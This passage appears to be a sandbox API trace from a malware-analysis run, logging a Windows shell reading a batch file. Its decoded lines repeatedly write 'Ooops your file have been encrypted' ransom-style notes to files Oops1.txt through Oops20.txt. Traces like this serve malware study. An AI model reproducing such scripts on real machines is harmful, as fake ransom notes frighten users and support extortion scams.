lpDistanceToMoveHigh=0x0) returned 0x1aaa [0037.453] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=62, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## #### ####### #### ## ## ## ## ##\r\n\n") returned 62 [0037.453] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.453] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1aaa [0037.453] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.453] GetFileType (hFile=0x74) returned 0x1 [0037.453] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1aaa [0037.453] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.453] SetFilePointer (in: hFile=0x74, lDistanceToMove=6883, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1ae3 [0037.453] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=57, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ##\r\n ##\r\n") returned 57 [0037.453] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.453] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ae3 [0037.453] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.453] GetFileType (hFile=0x74) returned 0x1 [0037.453] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ae3 [0037.453] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.453] SetFilePointer (in: hFile=0x74, lDistanceToMove=6939, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1b1b [0037.453] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=56, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ####\r\n\n") returned 56 [0037.453] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.453] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b1b [0037.454] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.454] GetFileType (hFile=0x74) returned 0x1 [0037.454] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b1b [0037.454] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.454] SetFilePointer (in: hFile=0x74, lDistanceToMove=6997, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1b55 [0037.454] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops1.txt\r\n##\r\n") returned 58 [0037.454] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.454] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b55 [0037.454] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.454] GetFileType (hFile=0x74) returned 0x1 [0037.454] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b55 [0037.454] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.454] SetFilePointer (in: hFile=0x74, lDistanceToMove=7055, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1b8f [0037.454] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops2.txt\r\n") returned 58 [0037.454] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.454] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b8f [0037.454] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.454] GetFileType (hFile=0x74) returned 0x1 [0037.454] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b8f [0037.454] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.454] SetFilePointer (in: hFile=0x74, lDistanceToMove=7113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1bc9 [0037.454] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops3.txt\r\n") returned 58 [0037.455] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.455] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1bc9 [0037.455] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.455] GetFileType (hFile=0x74) returned 0x1 [0037.455] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1bc9 [0037.455] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.455] SetFilePointer (in: hFile=0x74, lDistanceToMove=7171, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c03 [0037.455] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops4.txt\r\n") returned 58 [0037.455] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.455] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1c03 [0037.455] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.455] GetFileType (hFile=0x74) returned 0x1 [0037.455] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1c03 [0037.455] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.455] SetFilePointer (in: hFile=0x74, lDistanceToMove=7229, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c3d [0037.455] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops5.txt\r\n") returned 58 [0037.455] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.455] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1c3d [0037.455] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.455] GetFileType (hFile=0x74) returned 0x1 [0037.455] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1c3d [0037.455] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.455] SetFilePointer (in: hFile=0x74, lDistanceToMove=7287, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c77 [0037.456] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops6.txt\r\n") returned 58 [0037.456] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.456] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1c77 [0037.456] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.456] GetFileType (hFile=0x74) returned 0x1 [0037.456] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1c77 [0037.456] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.456] SetFilePointer (in: hFile=0x74, lDistanceToMove=7345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb1 [0037.456] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops7.txt\r\n") returned 58 [0037.456] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.456] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb1 [0037.456] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.456] GetFileType (hFile=0x74) returned 0x1 [0037.456] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb1 [0037.456] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.456] SetFilePointer (in: hFile=0x74, lDistanceToMove=7403, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1ceb [0037.456] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops8.txt\r\n") returned 58 [0037.456] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.456] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ceb [0037.456] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.456] GetFileType (hFile=0x74) returned 0x1 [0037.456] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ceb [0037.456] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.457] SetFilePointer (in: hFile=0x74, lDistanceToMove=7461, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1d25 [0037.457] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops9.txt\r\n") returned 58 [0037.457] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.457] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1d25 [0037.457] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.457] GetFileType (hFile=0x74) returned 0x1 [0037.457] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1d25 [0037.457] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.457] SetFilePointer (in: hFile=0x74, lDistanceToMove=7520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1d60 [0037.457] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops10.txt\r\n#\r\n") returned 59 [0037.457] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.457] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1d60 [0037.457] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.457] GetFileType (hFile=0x74) returned 0x1 [0037.457] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1d60 [0037.457] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.457] SetFilePointer (in: hFile=0x74, lDistanceToMove=7579, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1d9b [0037.457] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops11.txt\r\n") returned 59 [0037.457] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.457] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1d9b [0037.457] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.457] GetFileType (hFile=0x74) returned 0x1 [0037.457] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1d9b [0037.458] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.458] SetFilePointer (in: hFile=0x74, lDistanceToMove=7638, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1dd6 [0037.458] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops12.txt\r\n") returned 59 [0037.458] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.458] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1dd6 [0037.458] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.458] GetFileType (hFile=0x74) returned 0x1 [0037.458] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1dd6 [0037.458] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.458] SetFilePointer (in: hFile=0x74, lDistanceToMove=7697, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e11 [0037.458] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops13.txt\r\n") returned 59 [0037.458] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.458] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e11 [0037.458] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.458] GetFileType (hFile=0x74) returned 0x1 [0037.458] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e11 [0037.458] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.458] SetFilePointer (in: hFile=0x74, lDistanceToMove=7756, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e4c [0037.458] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops14.txt\r\n") returned 59 [0037.458] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.458] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e4c [0037.458] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.458] GetFileType (hFile=0x74) returned 0x1 [0037.458] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e4c [0037.459] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.459] SetFilePointer (in: hFile=0x74, lDistanceToMove=7815, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e87 [0037.459] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops15.txt\r\n") returned 59 [0037.459] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.459] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e87 [0037.459] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.459] GetFileType (hFile=0x74) returned 0x1 [0037.459] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e87 [0037.459] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.459] SetFilePointer (in: hFile=0x74, lDistanceToMove=7874, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1ec2 [0037.459] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops16.txt\r\n") returned 59 [0037.459] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.459] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ec2 [0037.459] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.459] GetFileType (hFile=0x74) returned 0x1 [0037.459] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ec2 [0037.459] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.459] SetFilePointer (in: hFile=0x74, lDistanceToMove=7933, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1efd [0037.459] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops17.txt\r\n") returned 59 [0037.459] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.459] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1efd [0037.459] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.459] GetFileType (hFile=0x74) returned 0x1 [0037.460] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1efd [0037.460] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.460] SetFilePointer (in: hFile=0x74, lDistanceToMove=7992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1f38 [0037.460] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops18.txt\r\n") returned 59 [0037.460] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.460] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1f38 [0037.460] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.460] GetFileType (hFile=0x74) returned 0x1 [0037.460] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1f38 [0037.460] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.460] SetFilePointer (in: hFile=0x74, lDistanceToMove=8051, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1f73 [0037.460] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops19.txt\r\n") returned 59 [0037.460] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.460] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1f73 [0037.460] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.460] GetFileType (hFile=0x74) returned 0x1 [0037.460] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1f73 [0037.460] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.460] SetFilePointer (in: hFile=0x74, lDistanceToMove=8110, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1fae [0037.460] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops20.txt\r\n") returned 59 [0037.460] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.460] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1fae [0037.461] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.461] GetFileType (hFile=0x74) returned 0x1 [0037.461] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1fae [0037.461] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, 